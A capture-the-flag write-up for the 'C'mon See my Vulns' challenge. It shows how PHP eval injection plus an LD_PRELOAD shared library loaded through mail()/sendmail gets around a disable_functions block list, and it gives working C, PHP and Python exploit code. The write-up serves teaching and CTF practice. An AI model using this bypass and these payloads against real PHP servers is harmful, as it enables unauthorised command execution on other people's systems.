C'mon See my Vulns
TL;DR
- Create library with modified
getuid
function that will create a file with the flag - Upload library to server
- Override environment variable
LD_PRELOAD
and callmail
- Get flag from the file we created
Solution
We are provided with the source of the service, a Dockerfile, the configuration of the service and also an executable to read the flag.
By looking at the src
folder, we see 2 files:
info.php
which only callsphpinfo()
index.php
which callseval
with a part of our input as argument
Taking a better look at index.php
we can see that eval
is called on every part of the input that is between double brackets: {{1*2}}
is evaluated to 2
and {{phpinfo()}}
shows the output of phpinfo
(same as making a request to /info.php
).
With this information, we could think it would be very easy to call anything we wanted (e.g. exec('/bin/sh')
), but, by looking closely at the information we get from phpinfo
, we see a disable_functions
with many things declared. Almost every function we could think of, cannot be called from PHP, and so our attack surface is decreases a lot. In the line 323
of config/php.ini
we can see:
disable_functions = exec,system,passthru,shell_exec,escapeshellarg,escapeshellcmd,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname,pcntl_exec,expect_popen
Defining a strategy
A lot of functions are disabled for this service, however, fopen
, fclose
and fwrite
aren't, so we can create arbitrary files in the server. chmod
is also not blacklisted so we can change permissions on files we own.
With these 4 functions we can upload a binary to the server and make it executable, but it leaves us with a problem: we cannot execute it!
Well, by taking a closer look at the disabled functions, we see that mail
is not in there, and what is curious about this function is that it calls the sendmail
binary. A problem arises now: we can't be sure sendmail
is present in the server since on the Dockerfile it wasn't. To confirm this, I tried sending a\n{{mail("a", "b", "c")}}
both locally and remotely and locally and there was a difference:
locally it returned right away while in the server it hang, so we can conclude that sendmail
is present on the server.
But with this, the problem persists: we still can't execute a file uploaded by us.
Unless...
Looking again at the disabled functions, we see that putenv
is also not blacklisted.
Ok, but what can I do with such a useless function?
Well, after some research, we can find that there is a special variable that holds a list of shared libraries to be loaded all the others (i.e the others). It is LD_PRELOAD
. So, if we change the value of this variable and call mail
it will use one of our functions and execute our payload.
Now we have everything we need to get our flag. Our strategy will be:
- Create a binary which will override some function used by
sendmail
with one that will create a file with the flag - Upload that binary to the server using
fopen
,fwrite
andfclose
(and alsobase64_decode
since base64 is the standard to transfer binary data through the internet) - Make it executable by calling
chmod
with permissions0777
(read, write and execute for everyone) - Override the
LD_PRELOAD
environment variable to use our library - Call
mail
- STONKS
Creating the library
So, I installed sendmail
on the container and also strace
to check what functions were being executed so we can override the defaults.
From the listed functions from strace sendmail
I first chose wait
but since it didn't work, I then tried with getuid
and succeeded, so we will try to override this function.
This function would call the readflag
binary that is placed in /opt
(we can see this by looking at the Dockerfile) that would give us root privileges and print the flag before exiting.
One thing that we should account for is that LD_PRELOAD
will still apply to our library, and since using it may cause problems we first need to unset it and then execute anything we want.
So the library code goes as follows:
#include <stdlib.h>
int getuid() {
unsetenv("LD_PRELOAD");
system("/opt/readflag > flag");
return 0;
}
NOTE: Since this is a writeup, the name is simplified, obviously during the CTF I changed it to be more complicated for other teams to get it
To compile it as a library, we use the command
gcc -shared -fpic -o <lib> <lib source>
We now need to encode it as base64, so we run the command
base64 -w 0 <lib> > <encoded lib>
Getting the flag
We now need to run the following code to do what we want
$decoded = base64_decode(<encoded lib contents>);
$file = fopen("/var/www/lib.so", "w");
fwrite($file, $decoded);
fclose($file);
chmod("/var/www/lib.so", 0777);
putenv("LD_PRELOAD=/var/www/html/lib.so");
mail("a", "b", "c");
This path is not on purpose, since the base_dir
is defined as /var/www/html
so PHP can only read and write here.
To get the flag then we should access the /flag
endpoint, and it should be CTF-BR{Pwn1ng_'tiL_th3_Z3nd@1337!}
.
Since doing this by hand would be difficult, I wrote an exploit that goes like this:
import requests
URL = "http://cmon-see-my-vulns.pwn2win.party:1337"
libname = "/var/www/html/lib.so"
lib = ""
with open("encoded", "r") as f:
lib = f.read()
data = {
"csv": "1\r\n" + \
"{{eval(\"\\$decoded = base64_decode(\\\"" + lib + "\\\"); \\$file = fopen(\\\"" + libname + "\\\", \\\"w\\\"); fwrite(\\$file, \\$decoded); fclose(\\$file); chmod(\\\"" + libname + "\\\", 0777); putenv(\\\"LD_PRELOAD=" + libname + "\\\"); mail(\\\"a\\\", \\\"b\\\", \\\"c\\\"); return 1;\")}}"
}
try:
requests.post(URL, data=data, timeout=5)
except:
pass
print(requests.get(URL + "/flag").text)
That eval
is needed since our code is run with eval("return " + our code + ";")
, so if we didn't have it, it would just return a part of our code and wouldn't get us the flag.